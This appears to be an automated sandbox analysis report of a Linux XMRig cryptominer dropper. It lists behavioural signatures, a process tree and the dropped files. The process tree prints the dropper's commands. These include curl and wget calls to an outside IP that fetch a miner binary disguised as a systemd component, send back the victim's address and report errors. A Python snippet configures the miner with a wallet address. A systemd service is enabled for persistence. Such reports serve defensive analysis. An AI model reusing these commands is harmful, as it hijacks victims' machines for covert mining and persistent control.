Analysis

  • max time kernel
    46s
  • max time network
    48s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/10/2026, 23:16

General

  • Target
    482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
  • Size 3KB
  • Sample261026-29atmshs4t
  • SHA256 482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
    /tmp/482ce2cc1231f144f138819f6bd7d3c80be98b9f3eae2ffaa5c2ac68cb935452
    1⤵
    • Modifies systemd
    • Writes file to tmp directory
    PID:715
    • /bin/uname
      uname -m
      2⤵
        PID:719
      • /usr/bin/pgrep
        pgrep -f /usr/lib/systemd/systemd-journal-bridge
        2⤵
        • Reads CPU attributes
        • Reads runtime system information
        PID:721
      • /bin/grep
        grep -q systemd-journal-bridge /proc/10/comm /proc/110/comm /proc/11/comm /proc/125/comm /proc/126/comm /proc/12/comm /proc/13/comm /proc/14/comm /proc/153/comm /proc/15/comm /proc/161/comm /proc/16/comm /proc/176/comm /proc/17/comm /proc/18/comm /proc/19/comm /proc/1/comm /proc/20/comm /proc/21/comm /proc/22/comm /proc/234/comm /proc/23/comm /proc/249/comm /proc/24/comm /proc/2/comm /proc/336/comm /proc/360/comm /proc/362/comm /proc/364/comm /proc/365/comm /proc/36/comm /proc/378/comm /proc/37/comm /proc/383/comm /proc/386/comm /proc/3/comm /proc/421/comm /proc/4/comm /proc/5/comm /proc/669/comm /proc/675/comm /proc/677/comm /proc/679/comm /proc/680/comm /proc/6/comm /proc/703/comm /proc/705/comm /proc/70/comm /proc/710/comm /proc/711/comm /proc/712/comm /proc/715/comm /proc/716/comm /proc/71/comm /proc/720/comm /proc/724/comm /proc/725/comm /proc/72/comm /proc/73/comm /proc/74/comm /proc/75/comm /proc/76/comm /proc/77/comm /proc/79/comm /proc/7/comm /proc/81/comm /proc/82/comm /proc/8/comm /proc/9/comm /proc/self/comm /proc/thread-self/comm
        2⤵
          PID:730
        • /bin/mkdir
          mkdir -p /usr/lib/systemd
          2⤵
          • Reads runtime system information
          PID:733
        • /usr/bin/curl
          curl -s -o ./systemd-journal-bridge http://167.17.180.101:8080/systemd-journal-bridge
          2⤵
            PID:736
          • /usr/bin/awk
            awk "{print \$1}"
            2⤵
              PID:749
            • /bin/hostname
              hostname -I
              2⤵
                PID:748
              • /usr/bin/tr
                tr . -
                2⤵
                  PID:752
                • /usr/bin/curl
                  curl -s http://167.17.180.101:8080/config.json
                  2⤵
                    PID:753
                  • /usr/bin/python3
                    python3 -c " import json,sys c=json.load(sys.stdin) c['pools'][0]['rig-id']=sys.argv[1] c['pools'][0]['user']=sys.argv[2]+'.'+sys.argv[1] # adaptive: fast mode only if this box (or its cgroup) really has >=3GB RAM. mem=0 for p in ('/sys/fs/cgroup/memory.max','/sys/fs/cgroup/memory/memory.limit_in_bytes'): try: v=open(p).read().strip() if v.isdigit() and int(v) < (1<<50): mem=int(v)//(1024*1024) break except Exception: pass if mem==0: try: for l in open('/proc/meminfo'): if l.startswith('MemTotal'): mem=int(l.split()[1])//1024 break except Exception: pass if mem>=3000: c['randomx']['mode']='fast' c['cpu']={'threads':1} # fast mode needs 2.5GB per thread: 1 thread only else: c['randomx']['mode']='light' print(json.dumps(c)) " VICTIM_10-127-0-169 44e7oLGjPwj14qxHaezKUJXiXsLqtoZrwRtTrsNa99sMfo6QsXSZv7q99VG4dAbm9v9LKnFtcYGnNN3n2BjGsCtr89Xg8Ar
                    2⤵
                    • Enumerates kernel/hardware configuration
                    • System Network Configuration Discovery
                    PID:754
                  • /bin/chmod
                    chmod +x ./systemd-journal-bridge
                    2⤵
                    • File and Directory Permissions Modification
                    PID:755
                  • /bin/cat
                    cat
                    2⤵
                      PID:756
                    • /bin/systemctl
                      systemctl daemon-reload
                      2⤵
                      • Enumerates kernel/hardware configuration
                      PID:757
                    • /bin/systemctl
                      systemctl enable --now systemd-journal-bridge.service
                      2⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:770
                    • /usr/bin/curl
                      curl -s -m 5 "http://167.17.180.101:8080/report?10.127.0.169"
                      2⤵
                        PID:791
                      • /bin/sleep
                        sleep 30
                        2⤵
                          PID:793
                        • /usr/bin/pgrep
                          pgrep -f /usr/lib/systemd/systemd-journal-bridge
                          2⤵
                          • Reads CPU attributes
                          • Reads runtime system information
                          PID:882
                        • /usr/bin/cut
                          cut -c1-60
                          2⤵
                            PID:886
                          • /usr/bin/tr
                            tr -c "a-zA-Z0-9 .:-" _
                            2⤵
                              PID:885
                            • /usr/bin/tail
                              tail -1 /tmp/m.log
                              2⤵
                                PID:884
                              • /usr/bin/wget
                                wget -q -O /dev/null -T 5 "http://167.17.180.101:8080/report?MINERERR_10.127.0.169_"
                                2⤵
                                  PID:887

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Replay Monitor

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                                    Downloads

                                    sh-thd.0XXgqi

                                    • Path /tmp/sh-thd.0XXgqi
                                    • Size 243B
                                    • SHA256 a81d979975332ccb7dfd664699d1fc2e58f17d83cf75fc2fc4f702897b306478
                                    • MD5 SHA1 SHA512 TLSH

                                    bridge.conf

                                    • Path /usr/lib/systemd/bridge.conf
                                    • Size 482B
                                    • SHA256 38792d5504a5ea857eed03971cbc043449ebf9a118483c4dd89acc551377b02b
                                    • MD5 SHA1 SHA512 TLSH

                                    systemd-journal-bridge

                                    • Path /usr/lib/systemd/systemd-journal-bridge
                                    • Size 8.0MB
                                    • SHA256 b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
                                    • MD5 SHA1 SHA512 SSDEEP TLSH